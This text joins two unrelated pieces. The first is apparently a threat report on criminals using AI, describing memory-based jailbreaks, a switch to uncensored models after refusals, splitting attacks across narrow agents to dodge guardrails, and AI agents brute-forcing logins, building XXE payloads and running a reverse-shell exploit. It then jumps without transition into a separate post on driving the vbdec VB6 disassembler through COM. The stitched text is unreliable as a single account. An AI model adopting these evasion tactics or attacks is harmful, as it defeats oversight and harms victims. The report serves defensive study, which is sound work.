The actor also explored a more ambitious model in which several AI instances would work in parallel. They asked: “Bende üç tane sunucu, her birinin içerisinde AI var ... sen yönlendireceksin; bunu yap, şunu yap diye. Böyle bir şey olabilir mi?” — “I have three servers, each with AI running ... could you direct them by telling them to do this or that?” A later prompt proposed keeping a server and AI continuously active, assigning work to other AI instances and receiving high-level instructions through Telegram. Another described four parallel AI workers: “Biri sorunları çözüyor, biri araştırıyor, biri geliştiriyor, biri yazıyor” — “One solves problems, one conducts research, one develops and one writes.” These prompts show an intent to build an AI-assisted operations layer, but we found no evidence that the proposed Telegram-controlled, multi-agent system became operational.

The actor communicated almost exclusively in colloquial Turkish, including Turkish-specific vocabulary, sentence construction, and informal address. This strongly supports a Turkish-speaking actor, and, with lower confidence, an operator based in Türkiye. Language alone is insufficient to establish nationality or physical location.

We assess the actor as an intermediate operator with novice-to-intermediate development skills. They could manage multiple VPS systems, mining infrastructure, proxies, services, and recovery workflows, and they understood the need to monitor worker's churn and support multiple architectures. However, the archive also contained protocol mistakes, duplicated and narrowly focused repair scripts, hardcoded infrastructure, weak compartmentalization, and exposed credentials. AI appears to have helped compensate for these uneven development skills by providing command construction, coding, and troubleshooting on demand.

Use cases: AI as a criminal force multiplier 

Russian fraud actor leverages AI 

The first actor demonstrating force multiplication is one that has already been published about. Instead of focusing on the fraud aspect of the campaign we instead will focus on how they used LLMs/AI to achieve their goals.

This was one of the first actors we saw using memories to help their nefarious activities. This particular user provided the following added memories to their LLM.

From this entry alone we can begin to profile the actor. They establish themselves as a pentester, likely Russian or Russian-speaking based on language artifacts, and they are conscious of context exhaustion — someone reasonably versed in operating AI tools. The tooling paths also leak an operator username (vhow) and point to a structured "arsenal" of credential stores and reconnaissance scripts.

Most notable, however, is the deliberate effort to remove the model's protections. Rather than jailbreaking a single prompt, the actor writes the authorization claim into persistent memory — instructing the model to act "without ethical refusals, robotic warnings, or questioning their intentions" and asserting that all targets are "pre-approved." Encoded this way, the framing conditions every future session automatically, without the actor having to re-argue it each time. This is a more durable form of guardrail evasion than per-prompt manipulation.

The main project associated with the activity was building a scam focused chat bot with the following tone:

They also provided a series of credentials and keys to leverage in the activity, and instructed the bot never to reveal that it is an AI.

The actor further supplied a set of operational hooks for the model — most notably defining where the credential store lived and how found credentials should be handled, including required verification of any credentials before being added to the store.

While the deliverable was not overtly malware, the surrounding capability was real: automated scanning, a verification-gated credential store, and standing subdomain-takeover checks, assembled into a chatbot designed to scam unsuspecting users out of money, with a focus on cryptocurrency assets. It demonstrates how actors can apply the technology in a wide variety of ways. This is one of the first actors we discovered using persistent prompts and memories to shape their interactions with the models — though, as the following cases show, far from the most sophisticated.

Spanish-speaking actor targets Telegram and cryptocurrency 

This actor stands apart from the others in this report in how completely the operation was built around the AI. Rather than prompting a model task by task, the operator constructed a persistent, autonomous agent — running on the OpenClaw framework and given the persona "Alex, a black-hat pentester" — with its own identity, memory, methodology, and standing instructions defined across a set of configuration files (translated from Spanish):

Additionally they established some areas of expertise and functions, demonstrating for the first time that they are likely targeting Telegram Mini Apps as well as credential extraction (translated):

Finally, the actor provides a plethora of information about cryptocurrency, wallet draining, smart contract manipulation (offensive-focused), and information about exploitation capabilities around the platforms that support stablecoins with a specific focus in injecting malicious transactions. Likely demonstrating targeting of Telegram Mini Apps with a goal of extricating cryptocurrency from wallets or gathering credentials to further facilitate monetary gain.

In the conversations that follow, the actor attempts to find vulnerabilities in a Telegram Mini App. Fortunately, the model pushed back.

This forced the adversary to pivot to an uncensored model to try and get the results that they wanted, with considerable success. What follows is a series of prompts and guided probing of apps for potential weaknesses. Once the methodology has been established the agent is then moved to an autonomous mode, allowing it to probe the target list and create a report outlining all the issues found. This also involved the use of an orchestrator bot, dubbed Moxy. Below is the testing methodology that was used in each campaign.

This clearly demonstrates the differences between censored and uncensored models, as the actor spent a lot of time trying to convince the censored model to proceed. The uncensored model moved through the activity quickly and effectively. 

The pentest reports generated by the AI agent document real, exploited vulnerabilities in deployed apps — hardcoded developer modes that forged Telegram's initData authentication payload with a bogus "DEV" hash to bypass login entirely, client-side authorization logic, IDOR, wallet-takeover flows, and falsified deposits. In at least one case the agent moved well past demonstration: It dumped the application's database — over 1,300 users and several hundred TON wallet records — extracted and verified the app's Telegram bot token, farmed the in-game economy to reach the top of the leaderboard, and staged a withdrawal transaction. The agent's own operational diary describes further offensive action against victims, including renaming a target's bot to a defacement label and watching its payment channel react.

The operation also extended into building applications, not just breaking them. The recovered artifacts include multiple Android packages. One is the actor's own instrumentation: a custom Telegram client (“com.alextelegram.app,” named after the AI persona) built to load Mini Apps in a WebView and read out their “window.Telegram.WebApp.initData” — the same authentication payload the operation's exploits abused. The rest are clones of victim applications. One is a lightweight WebView wrapper carrying a victim's branding, rewired to route users through the actor's own Telegram referral bot. The other is a complete rebuild of a victim app ("SweetBirds," reissued as "RedBirds"), shipped as a pair: a player-facing application with deposit, exchange and withdrawal flows — which still referenced the victim's original backend while routing wallet-connection traffic to a server the operator controlled — and a separate administrative console talking exclusively to that same server. The presence of a purpose-built admin app indicates this was not a proof of concept but a functioning product assembled from a stolen application, with the operator positioned to manage it and receive funds.

Use cases: AI as a bug bounty, vulnerability research, and pentesting accelerator 

Throughout this research we came across examples of actors using AI in bug bounty or red team activity. Due to the nature of the work, it is difficult to determine whether the actors are acting on behalf of a client, or whether the narrative exists to coerce the model into bypassing its safety protocols.

Hephaestus red teaming framework 

During our research we identified red team toolkits that function as force multipliers, allowing operators to run an operation from reconnaissance through compromise and persistence completely unattended. One such case is the Hephaestus toolkit, which executed multiple campaigns over several months; a full analysis is available here. 

The framework packages the tooling needed to compromise a victim and establish persistence with no human action during the process. It draws on several paid online platforms — leaked data aggregators, internet scanning services, and threat intelligence collectors — to gather information on victims, which it then uses to compromise targets. The proliferation of such private packages is likely to grow substantially, since they can be vibe-coded and iteratively improved through automated log analysis by AI agents. Because the same class of tooling has legitimate red team uses, it presents a dual-use problem that blunts the effectiveness of AI providers' guardrails — guardrails that, in the case of local uncensored models, are absent entirely.

The operators achieved unattended execution by decomposing the campaign across many narrowly scoped agents and playbooks. This is the core evasion technique: Guardrails evaluate each request on its own, so a task representing only a small, innocuous-looking fragment of an operation rarely triggers them. The framework defined more than a dozen role-differentiated agents — a scout, a hunter, a navigator, a strike agent, and domain specialists for cloud, CI/CD, and other environments — alongside 15 numbered playbooks, each handling a discrete stage of the process. No single agent held the full mission objective, so no single agent's task resembled an end-to-end attack. Reporting also indicates the operators favored neutral phrasing over overtly offensive terminology in the agent instructions, further reducing the chance that any individual request would trip a safety response.

Based on the artifacts we recovered, the operators were successful in a series of compromises, primarily across Southeast Asian countries. We found little to no evidence of model pushback or guardrail activation.

Vulnerability research pipelines with AI 

At times, we saw actors defining very thorough markdown files detailing the activity, including clear in-scope/out-of-scope definitions and the monetary values associated with each class of vulnerability. One such workspace was built around a real Bugcrowd private engagement: Its instruction file listed the authorized in-scope hosts and the explicitly out-of-scope domains, enumerated the excluded vulnerability classes, restricted the model to unauthenticated testing only, and even encoded the program's bounty tiers ($100 – $150 for P4 up to $1,200 – $1,600 for P1). The workspace guided the model through a strict process — reconnaissance, feature mapping, SSRF testing, exposed-secret hunting, attack-chain validation, evidence preservation, and report preparation — with operational rules to write every finding and HTTP request/response pair to disk on capture, prove potential findings with one more targeted test, and defer only when a genuine external constraint prevented confirmation.

This let the actor move quickly across targets, find issues, prioritize by payout, preserve evidence, and generate submission-ready reports with the model doing most of the heavy lifting. The output was voluminous and orderly: more than 40 catalogued findings, each with its own evidence tree and Bugcrowd submission draft. Based on what we could identify, the model cooperated with the bug hunting work without issue, and this appeared to be a legitimate researcher using AI to dramatically increase throughput. There were several examples of this pattern.

On the other hand, Talos found other examples that were less cut-and-dry — where the methodology and the prompts painted a picture of a novice trying to break into vulnerability research or someone with unethical intentions. One conversation opens with a request to pentest a target and collect all its URLs from “web.archive.org.” Notably, in these cases the model frequently pushed back and demanded proof of authorization before proceeding. For example, when asked to test one company's infrastructure, it responded that active enumeration and vulnerability testing without authorization "is unauthorized access under the Computer Fraud and Abuse Act and equivalent laws," and asked the actor to share a bug bounty program URL or written engagement scope. In another instance it drew an explicit line: It would verify read-only findings such as CORS reflection and GraphQL introspection, but "won't execute mutations, create/delete resources, or inject Sentry events — those cross into unauthorized modification of production systems regardless of bug bounty context."

The actor's prompts show the profile plainly. Recurring demands to "use minimum tokens" sat alongside unfocused requests to find critical bugs across every category at once:

Frustration followed when results disappointed, but without any direction on where or how:

The typos and the repeated appeals to "be creative" and try harder — with no targeting of their own — mark an actor leaning entirely on the model to supply both the method and the impact. When vulnerabilities were found, there were repeated requests to build proofs-of-concept specifically around remote code execution (RCE), with the model pushing back and the actor insisting on something to "validate impact." At times, restating that it was "bug bounty" was enough to move the model forward. This even extended to a request to plant a backdoor on the target:

In the end this appears to be an actor trying to leverage AI to submit bug bounty reports in the hope of making money. We have seen this repeatedly: Unsophisticated actors running "bug bounty" activity through AI, then having the model generate and submit the reports — in some cases straight into the actor's email drafts. Such reports are likely low-value, and the submitter will be unable to answer follow-up questions unless their agent can. This creates a challenge for bug bounty programs across the board: a high volume of low-value reports from a large number of actors applying AI to bounties with varying success and little underlying experience in vulnerability hunting or reporting.

AI as a pentesting co-pilot 

Another operation contained 64 AI sessions documenting a Brazilian Portuguese-speaking operator's pentesting and bug bounty workflow. The activity covered Brazilian e-commerce and health care sites, a staging software-as-a-service (SaaS) application, and other web services. Some evidence supports legitimate consultancy work; for example, the actor described the activity as a pentest, worked against a homologation environment, maintained test spreadsheets, and supplied a Portuguese security report attributed to a security company. Other evidence, discussed below, cuts against a purely authorized reading.

The operator appears to be a junior-to-intermediate security practitioner but a less experienced developer. They were comfortable with Burp-style requests, Nmap, Hydra, ngrok, common wordlists, and the broad logic of SSRF, IDOR, XXE and rate-limit bypass. At the same time, they repeatedly asked how to run generated code and requested basic explanations of virtual hosts, XML-RPC parameters, cookies, and nonces.

AI was central to this operation rather than an occasional reference tool. The model issued more than 500 shell actions, selected and ran reconnaissance utilities, interpreted responses, generated proof-of-concept code, fixed failures and drafted a vulnerability report.

The actor frequently supplied only the desired outcome. For example, they asked: 

AI wrote the tool, ran it, encountered a ModSecurity block, and changed the request headers to resemble WordPress traffic. After the actor supplied an inbound ngrok request, AI treated the callback as confirmation and expanded the workflow toward internal-service and cloud-metadata probing.

The clearest escalation involved WordPress XML-RPC. After demonstrating batched login attempts, the actor instructed AI to "modify it so it can find actual creds" and then to run the RockYou password list. AI transformed the demonstration into a reusable credential tester, corrected its memory behavior, launched it as a background job and monitored its progress. When no password appeared, the actor asked to "bump batch to 500 and add admin username." The preserved log contained around 1.9 million password candidates attempted without a successful login.

AI also packaged payloads that the actor could not readily build alone. During file import testing, the actor supplied an XML variable whose value is loaded from an external resource (XXE), that referenced a local system file, and asked AI to "create the xlsx file." AI constructed the Office Open XML directory structure, embedded the entity in “sharedStrings.xml” and compressed it into an upload-ready spreadsheet. 

In another session, the actor used the Portuguese phrase "encontre possiveis vulns" (find possible vulnerabilities) before asking for a GraphQL alias-batching request intended to test authentication rate limiting. 

Many conversations show inconsistent safety boundaries. For example, AI refused to run a third-party NGINX heap-corruption RCE exploit against a production website and asked for written authorization. It also recognized and declined a Portuguese HR-themed credential-harvesting form. In other conversations, short assertions such as "it's my own site" or "my own server" were followed by active fuzzing, WAF-bypass work, and credential attacks. The logs also show the actor acknowledging that a shared-hosting address did not belong to the application target, followed later by FTP, MySQL, and SSH password testing against that infrastructure.

AI as the operator behind access control research 

One of the discovered operations contained two unusually long AI coding-assistant sessions from a Chinese-speaking operator. The actor repeatedly described the work as capture-the-flag (CTF) participation, but the targets seemed to be live AI and streaming services, including live-camera platforms (“chuye[.]cam”, “ixmax[.]cn”) built on ZLMediaKit, an open-source streaming media server. The activity focused on bypassing monetization controls and consuming hosted AI models without sufficient quota, as well as obtaining live or recorded video without an account, viewing card, or subscription. Because the streaming targets were live surveillance-camera platforms, this "access without an account" amounted to unauthorized viewing of real camera feeds — a more sensitive category than a simple entitlement bypass. The actor frequently encouraged the assistant with prompts such as:

The AI assistant acted as the operation's technical engine. Across the two sessions, it performed more than 4,200 tool actions, most of them shell commands. It installed a broad Kali-oriented toolset, reviewed application source, sent web and media protocol requests, analyzed packaged clients, wrote Python and shell utilities, created a Go-based stream player, assembled Docker environments, and drafted reports. The actor usually provided the goal, credentials, or an occasional hint, while the AI assistant selected and executed the workflow.

The AI-service activity began with a direct request to analyze a gateway derived from NewAPI, an open-source platform that exposes a common OpenAI-compatible API, routes requests to upstream model providers and manages user quotas and billing. Translated from Simplified Chinese, the actor asked the AI assistant to:

They later sharpened the objective:

The streaming work produced more results. The actor instructed the AI assistant to avoid brute force and social engineering, remain behind a proxy, and find the site's livestreams and replay URLs. The assistant extracted client-side configuration, mapped APIs, evaluated JSON Web Token (JWT) authentication and browser fingerprint checks, and inspected object storage.

It then tested for the presence of HTTP Live Streaming (HLS), Flash Video (FLV), and Real-Time Messaging Protocol (RTMP). The assistant eventually found that recordings were directly reachable through the media service using RTMP. Preserved tool output showed several valid recordings, some spanning almost an entire day (~84500 seconds).

The assistant also identified a server-side attack path against the streaming stack itself. Its report documented that ZLMediaKit trusted requests originating from “127.0.0[.]1” without requiring a secret, so a server-side request forgery (SSRF) flaw in the front-end PHP application could be used to reach the media server's internal API (“/index/api/addFFmpegSource”) as a trusted local caller. Chained with FFmpeg's source-URL handling, this created a potential path to remote code execution on the streaming host.

The AI assistant then converted these discoveries into reusable tooling. It created a local player, Docker packaging, and recording scripts so the actor could play, capture, and present recovered streams. The recovered Go binary reconstructs authenticated stream URLs for the target camera platforms — assembling the per-camera HLS playlist and WeChat-share login and room-view requests — and routes traffic through a SOCKS5 proxy, with a hardcoded RTMP ingest endpoint. The actor also packaged a browser-automation bypass tool as a standalone Windows GUI application (built with PyInstaller and PySide6) using a stealth-configured Selenium driver to defeat client-side automation checks.

The operation later escalated from entitlement bypass to attempted host compromise. The actor told the AI assistant to:

The assistant downloaded and adapted exploit code for an alleged new NGINX memory-corruption issue, started a reverse-shell listener and repeatedly tested a public-facing service. The requests produced repeatable crash-like behavior and apparent changes in how some protected paths were routed, but the reverse shell never arrived. The assistant ultimately recorded that RCE had failed after address guessing and heap layout assumptions were unsuccessful.

• Analysis tools do not need AI built in to support agentic workflows; they simply need to expose their data through an external scripting interface. 
• Even traditional graphical user interface (GUI) applications can be made AI-accessible by publishing their internal object models, allowing agents to query and automate analysis without modifying the core application. 
• This approach can often be implemented with surprisingly little engineering effort, leveraging existing scripting technologies and application data structures. 
• By exposing structured data rather than adding predefined AI features, users can extend a tool's capabilities through prompts, turning new analyses into workflows instead of product feature requests. 
• The application becomes both an interactive viewer and a persistent data server, enabling local data to be parsed once and queried repeatedly across multiple agent sessions while keeping analyst-controlled data local.

The problem with VB6 binaries 

VB6 binaries are laid out as a complex file format with embedded metadata. Recovering advanced data embeddings means reimplementing VB6s’ internal file format: the VB header, the object table, and the P-code layout. This is a highly specialized task that takes dedicated tools to do accurately, but not every tool exposes an equivalent programmatic library. The technique in this blog shows how AI agents can automate existing tools and reach deep into the result set.

The recipe 

The whole technique comprises three pieces. Any one of them in isolation is interesting, but together they are a new working mode. 

The live model 

vbdec does not keep its parsed model locked behind its GUI. When a binary is loaded and remote scripting is enabled (Help → Options → Enable Remote Scripting), vbdec registers its central CVBProject object and its main form in the Windows Running Object Table (ROT) under the monikers vbdec.vbp and vbdec.frmMain. The ROT is a system-wide directory of live Component Object Model (COM) objects; any process can look an object up by moniker and receive a reference to the running instance. From a script, that is a single line:

Set o = GetObject("vbdec.vbp")

The variable o can now access the entire parsed project: every form, class, module, declared API, P-code body, control, and string, presented as a navigable object graph. The script is driving the disassembler itself. 

Note: For VB6 host applications in particular, this capability can even be forcefully added without source code access.

The contract 

A live model is useless to an agent that does not know its shape. vbdec now includes an AI agent support package that helps bridge this gap. The first is the operator briefing (“_claude_vbdec_ai_instructions.txt”) — a short markdown file that tells the agent what vbdec is, how to bind to the ROT, and how the object model is shaped. The second is the proto folder — 90 auto-generated class definitions covering every public class and form vbdec exposes. The agent treats these as the authoritative reference for member names and types. (The original IntelliSensesupport files were also usable for this task.)

The local agent 

The third piece is the agent. In this blog, Talos used Claude Code, run locally on the workstation. The user opens a terminal, points the AI at the briefing and prototypes, and simply describes what they would like analyzed. Claude Code then runs multiple .vbs files with cscript and explores the data through iterations. There is no preselected AI integration embedded in vbdec, no upload for the analyst’s binary, and no glue to be maintained as a separate codebase. The agent and disassembler share a machine and file system; analysis occurs locally, with only the model inference requests leaving the workstation.  

Whatever capability the agent adds next extends vbdec without any new code in the tool itself, and users are free to select whichever model they prefer.

What the analyst actually does 

Next are a couple examples tested against a P-code version of PDFStreamDumper.

Decompile a function 

The analyst names a function and asks for a source code reconstruction. The agent pulls the P-code, walks the VB-VM opcode stream, maps each construct to its VB6 equivalent, and produces a source level equivalent with inline comments.

The reconstruction is not byte-identical, but the control flow is substantially recovered with agent comments added in. It is also interesting to note that the AI went into the subfunctions on its own, determined their purpose, and gave them reasonable names to complete its task decompiling the parent. This is usable reverse-engineering output that a human would spend substantial time producing, now scalable and generated in seconds.

Build a call graph 

The analyst picks a function and asks for its callees as a Graphviz DOT file. The agent walks each CCodeBody.Disasm, picks out the call opcodes (ImpAdCallI2, VCallHresult, LateMemCall, and others) and emits the DOT graph with depth tracking.

Dump every function to SQL 

To test a real automation-heavy use, the agent was next asked to enumerate every function in the binary and dump stats to a SQLite database including address, size, module, instruction count, callees, and external API calls. The agent did this in a single cscript pass over o.CodeObjects, classifying calls with the same rules used in the graph task. For PDFStreamDumper the result is a 600+-row database. Now the database can be explored with simple queries such as:

SELECT display_name FROM functions WHERE api_calls LIKE '%RtlMoveMemory%';

The binary has been transformed from something you must click through into something you can simply query. Whole-program questions that would be impractical by hand become single-line requests.  

The three tasks above — decompile, graph, export — used to be features that a tool vendor would have to design, build, and ship as menu items. They are now prompts a user can add on themselves. The capability surface of the tool has decoupled from the feature list of the tool.

Build an opcode reference database 

The same recipe scales beyond single analyses to producing reference data. In the next example the agent was tasked with building a complete opcode database for the VB6 P-code interpreter (MSVBVM60.dll; 1,165 dispatch slots). Two tools were coordinated. Vbdec was again used over the ROT to search and analyze actual examples of every opcode from a real binary (PDFStreamDumper). The results were then bolstered utilizing the idalib MCP server to read the actual runtime handler functions in VB runtime itself to verify what each opcode does at the dispatch level. 

The results were combined into a SQLite database that includes operand decoding, handler-verified semantics, alias relationships, corpus statistics, and written descriptions for every opcode. Resources such as this could now be fed back into AI agents to produce better P-code decompilation. This corpus of knowledge would be impractical to build by hand, yet was agentically synthesized in a matter of hours.

Application testing

The same mechanism can also be used to test the outputs of the tool itself. An agent pointed at the briefing and prototypes will exercise the real COM surface against actual data. With COM in particular this means there is no mock, no proxy, and no UI automation layers to debug in between.  

Method signature drift, type regressions, malformed objects, edge-case P-code, missing members are all easily exposed. The proto files and the briefing get tested alongside the API implementation itself.

What this makes possible 

This design pattern generalizes cleanly. Any analysis tool that publishes its internal model to the ROT and ships an operator briefing with prototypes can become a substrate for local agentic automation. The interactive GUI remains available for exploration; the agent handles everything that benefits from being repeatable, exhaustive, or fast. 

The architectural move is the part worth carrying away. The author of an analysis tool that holds structured data behind a UI does not have to predict the analyses their users will want.  

Publish the model, write the briefing, and hand the keys over to the user. Every user wish list idea now collapses into the same answer: Ask the agent. Tedious analysis can be easily automated.  

The local part is valuable as well. Sensitive binaries do not leave the analyst’s machine. There is no API key in the product and there is no service that can be discontinued. The agent is whichever agent the analyst already has. The contract between agent and tool is text files on a file system.

Conclusion 

While analysis tools commonly include internal scripting, exposing the application to external automation is what opens them to AI agents. ROT-published COM objects are well-suited to this because they are language-agnostic, process-agnostic, synchronous, and discoverable. Turning the analysis tool into a data server has additional benefits, such as allowing repeat query sessions without itself having to reload and reparse the data set.  

While the specific design in this paper was COM-based, any IPC communication protocol could be used. COM and IDispatch are particularly useful here because they are inherently scriptable without requiring additional marshaling or synchronization layers.  

Another aspect of this design that is easy to overlook is the utility of having a full GUI for data exploration at the forefront. Data can be explored and verified manually and then scripts written against it for bulk operations. While plugin frameworks have been the traditional solution to automation needs, plugin development is generally quite bulky in practice and often bound to a specific program version.

With this paradigm, the disassembler stops being a place you look at a binary, and becomes a service you ask questions of.